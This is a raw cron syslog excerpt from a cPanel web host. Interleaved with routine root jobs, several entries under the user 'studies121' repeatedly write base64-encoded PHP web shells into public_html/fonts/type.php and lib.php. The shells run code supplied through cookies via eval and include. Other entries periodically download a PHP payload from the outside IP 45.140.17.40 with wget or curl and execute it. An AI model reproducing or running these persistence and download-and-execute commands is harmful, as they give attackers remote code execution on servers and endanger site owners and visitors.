Sep 22 18:34:01 ip-184-168-122-23 CROND[32540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:34:01 ip-184-168-122-23 CROND[32541]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:34:01 ip-184-168-122-23 CROND[32547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:34:01 ip-184-168-122-23 CROND[32545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:34:01 ip-184-168-122-23 CROND[32543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:35:01 ip-184-168-122-23 CROND[720]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:35:01 ip-184-168-122-23 CROND[722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:35:01 ip-184-168-122-23 CROND[723]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 18:35:01 ip-184-168-122-23 CROND[724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:35:01 ip-184-168-122-23 CROND[725]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 18:35:01 ip-184-168-122-23 CROND[727]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 18:35:01 ip-184-168-122-23 CROND[728]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 18:35:01 ip-184-168-122-23 CROND[726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:36:01 ip-184-168-122-23 CROND[922]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:36:01 ip-184-168-122-23 CROND[925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:36:01 ip-184-168-122-23 CROND[926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:36:01 ip-184-168-122-23 CROND[927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:36:01 ip-184-168-122-23 CROND[929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:37:01 ip-184-168-122-23 CROND[1067]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:37:01 ip-184-168-122-23 CROND[1068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:37:01 ip-184-168-122-23 CROND[1071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:37:01 ip-184-168-122-23 CROND[1070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:38:01 ip-184-168-122-23 CROND[1220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:38:01 ip-184-168-122-23 CROND[1224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:38:01 ip-184-168-122-23 CROND[1222]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:38:01 ip-184-168-122-23 CROND[1223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:38:01 ip-184-168-122-23 CROND[1225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:39:01 ip-184-168-122-23 CROND[1350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:39:01 ip-184-168-122-23 CROND[1353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:39:01 ip-184-168-122-23 CROND[1354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:39:02 ip-184-168-122-23 CROND[1358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:39:02 ip-184-168-122-23 CROND[1361]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 18:40:01 ip-184-168-122-23 CROND[1483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:40:01 ip-184-168-122-23 CROND[1484]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 18:40:01 ip-184-168-122-23 CROND[1485]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 18:40:01 ip-184-168-122-23 CROND[1491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:40:01 ip-184-168-122-23 CROND[1487]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 18:40:01 ip-184-168-122-23 CROND[1489]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:40:01 ip-184-168-122-23 CROND[1490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:40:01 ip-184-168-122-23 CROND[1493]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:41:01 ip-184-168-122-23 CROND[1690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:41:01 ip-184-168-122-23 CROND[1691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:41:01 ip-184-168-122-23 CROND[1693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:41:01 ip-184-168-122-23 CROND[1692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:42:02 ip-184-168-122-23 CROND[1826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:42:02 ip-184-168-122-23 CROND[1828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:42:02 ip-184-168-122-23 CROND[1830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:42:02 ip-184-168-122-23 CROND[1829]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:42:02 ip-184-168-122-23 CROND[1831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:43:01 ip-184-168-122-23 CROND[1961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:43:01 ip-184-168-122-23 CROND[1963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:43:01 ip-184-168-122-23 CROND[1966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:43:01 ip-184-168-122-23 CROND[1964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:44:01 ip-184-168-122-23 CROND[2127]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:44:01 ip-184-168-122-23 CROND[2130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:44:01 ip-184-168-122-23 CROND[2129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:44:01 ip-184-168-122-23 CROND[2132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:44:01 ip-184-168-122-23 CROND[2131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:45:01 ip-184-168-122-23 CROND[2287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:45:01 ip-184-168-122-23 CROND[2288]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 18:45:02 ip-184-168-122-23 CROND[2290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:45:02 ip-184-168-122-23 CROND[2293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:45:02 ip-184-168-122-23 CROND[2291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:45:02 ip-184-168-122-23 CROND[2294]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 18:46:01 ip-184-168-122-23 CROND[2516]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
